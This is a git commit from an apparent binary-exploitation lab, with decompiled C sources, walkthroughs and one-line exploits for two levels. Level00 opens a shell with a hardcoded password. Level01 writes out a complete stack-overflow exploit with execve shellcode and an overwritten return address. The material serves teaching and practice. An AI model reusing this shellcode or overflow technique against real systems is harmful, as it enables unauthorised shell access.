level00: done

level01: done
This commit is contained in:
0x35c 2025-05-05 17:59:07 +02:00
commit 74805a47ac
6 changed files with 87 additions and 0 deletions

View File

@ -0,0 +1 @@
(echo 5276; cat) | ./level00

20
level00/source.c Normal file
View File

@ -0,0 +1,20 @@
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int buf[4];
puts("***********************************");
puts("* \t -Level00 -\t\t *");
puts("***********************************");
printf("Password:");
scanf("%d", buf);
if (buf[0] != 5276) {
puts("\nInvalid Password!");
} else {
puts("\nAuthenticated!");
system("/bin/sh");
}
return buf[0] != 5276;
}

8
level00/walkthrough Normal file
View File

@ -0,0 +1,8 @@
# Level00
Using ghidra, we can decompile the code and see that it calls `scanf()` on an int buffer.
It will then compare its value to 5276 and opens a shell if the value matches.
All we have to do is input that value.
Here is the command:
`(echo 5276; cat) | ./level00`

View File

@ -0,0 +1 @@
(python -c 'print "dat_wil" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "\n" + "A"*80 + "\x47\xa0\x04\x08" + "\n"'; cat) | ./level01

38
level01/source.c Normal file
View File

@ -0,0 +1,38 @@
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
char a_user_name[100];
bool verify_user_name(void)
{
puts("verifying username....\n");
return memcmp(a_user_name, "dat_wil", 7) != 0;
}
bool verify_user_pass(const char *password)
{
return memcmp(password, "admin", 5) != 0;
}
int main(void)
{
char password[64];
bool valid;
memset(password, 0, sizeof(password));
valid = false;
puts("********* ADMIN LOGIN PROMPT *********");
printf("Enter Username: ");
fgets(a_user_name, 256, stdin);
valid = verify_user_name();
if (valid) {
puts("nope, incorrect username...\n");
} else {
puts("Enter Password: ");
fgets(password, 100, stdin);
valid = verify_user_pass(password);
puts("nope, incorrect password...\n");
}
return 1;
}

19
level01/walkthrough Normal file
View File

@ -0,0 +1,19 @@
# Level01
Using ghidra, we can decompile the code and see that it fills a global buffer of 100 bytes using `fgets()`.
This buffer will then be passed to a function returning false if it equals to `"dat_wil"`, allowing us to go through the second part of the code.
Now comes the real part. There is a second `fgets()` on another buffer, a local buffer this time. The difference here is that the buffer is non-secure (the first one smh never crashes with the overflow) and we can modify `eip` register to whatever value we want.
To exploit this vulnerability, we are going to use both buffers.
First, we need to write `"dat_wil"` in the first `fgets()`, so that we access to the rest of the code. Second, we're going to write a shell code injection in that same buffer, after `"dat_wil"`. Finally, we will overflow the second buffer (with the call to `fgets()`) and write the address of the first buffer (+7 bytes, for the string at the beginning of the first buffer) to`eip`.
To get `eip`'s address, we use (this tool)[https://wiremask.eu/tools/buffer-overflow-pattern-generator/] that will calculate the offset between our buffer and `eip` (since it causes a segfault when overwriting it with random values).
Let's build our exploit in 4 parts:
- `"dat_wil"` => the required string to get the 2nd call to `fgets()`
- `"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"` => the shell code injection
Print a `"\n"` to exit the first `fgets()`
- `"A"*80` => fill the buffer until `eip`
- `"\x47\xa0\x04\x08"` => the address of our shell code injection (addr of `a_user_name` + 7)
Print a `"\n"` to exit the second `fgets()`
Here is the full exploit:
`(python -c 'print "dat_wil" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "\n" + "A"*80 + "\x47\xa0\x04\x08" + "\n"'; cat) | ./level01`